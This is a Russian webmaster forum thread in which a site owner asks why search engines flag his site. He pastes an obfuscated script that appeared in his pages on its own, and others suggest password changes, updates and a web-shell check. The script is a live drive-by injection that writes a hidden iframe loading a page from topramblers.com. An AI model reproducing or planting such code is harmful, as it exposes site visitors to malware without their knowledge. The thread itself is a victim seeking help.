Скрипт (вирус?) появляется автоматически

Павел Кирхмаер
На сайте с 21.06.2008
Offline
86
1763

Здравствуйте, захожу на свой сайт и слышу крики пользователей мол "Вирусы на сайте, вирусы" ... ну не обратил внимания, думаю - единичные случаи ... как тут бац - яша с гуглом говорят что сайт заражён ... тут я забеспокоился и с перепугу начал убирать всю рекламу ... вродебы помогло, но через 2 дня снова вижу - "Сайт может угражать ...", думаю - рекламу убрал, код чистый абсолютно в скрипте, но думаю исходный код открою ещё посмотрю и вижу такой непонятно откуда появившийся скрипт:


<script>
function oaB(){
if (navigator.userAgent.indexOf("MSIE")>0) return document.body.clientWidth*document.body.clientHeight;
else return window.outerWidth*window.outerHeight;}
if(oaB()>100000){

function LMhJUc(NRMPoiw){ var ZrGFyzY=new Function("lVTnbvi", "return 993808;");alert('nuhJCt'); }
document['w188100ri186t749112e'.replace(/[0-9]/g,'')]('<tt id=kpvfe style="display:none">%3Ciframe src %3D %22http%3A%2F%2Ftopramblers.com%2Flive%2Flite.php%22 width%3D1 height%3D1 style%3D%22visibility%3Ahidden%22%3E</tt>');function sNdY(jSevL){ alert('folQPFH'); fff.op.replace("108"); }
document['161wr162i160t1606542e'.replace(/[0-9]/g,'')](unescape(document.getElementById('kpvfe').innerHTML));function prCRFI(KIgutMl){ window.eval();window.eval();var SLGQdMWud=new Function("nAVAjZc", "return 575450;"); }
function XEWInpKdFi(hgzN){ fff.op.replace("1088");var DCRZMcF=new Function("FLc", "return 512711;"); fff=op.split("921"); }
function FRZNR(zCcXsesI){ var jirhZ = document.getElementById('qUXqzSV'); }
}</script>

В скрипте (движке) его нет, он появляется каким-то образом сам ... не подскажите, может ли это "чудо" восприниматься поисковиками как вирус ?

Что это за сомнительный домен : topramblers.com :gm: это ведь не Rambler TOP100

U
На сайте с 19.03.2007
Offline
35
#1

меняй пароли на все. Обнови версии всего чего можно. Проверься сам антивирусами. ( http://www.freedrweb.com/cureit/ и http://www.emsisoft.com/en/software/free/ )

Станислав
На сайте с 27.12.2009
Offline
241
#2

Да но для начало проверь есть ли шел, если есть то что вы пасы пенять будите, это вам не поможет.

Мы там, где рады нас видеть.
Павел Кирхмаер
На сайте с 21.06.2008
Offline
86
#3
Ms-Dred:
Да но для начало проверь есть ли шел

Что за "шел" (google нашёл только нефтяную компанию =]) ... ?

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий